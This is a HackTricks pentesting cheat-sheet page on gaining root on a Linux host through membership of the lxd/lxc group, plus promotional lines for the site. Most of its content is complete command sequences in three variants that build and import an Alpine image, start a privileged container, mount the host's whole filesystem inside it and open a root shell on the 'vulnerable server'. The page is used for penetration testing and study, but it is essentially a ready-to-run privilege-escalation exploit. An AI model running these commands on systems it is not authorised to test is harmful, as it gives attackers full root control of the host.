lxd/lxc Group - Privilege escalation

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

If you belong to lxd or lxc group, you can become root

Exploiting without internet

Method 1

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):

sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs

Add the image:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Create a container and add root path

lxc init alpine privesc -c security.privileged=true --alias=alpine
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

{% hint style="danger" %} If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init and repeat the previous chunk of commands {% endhint %}

Execute the container:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Alternatively https://github.com/initstring/lxd_root

With internet

You can follow these instructions.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Other Refs

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}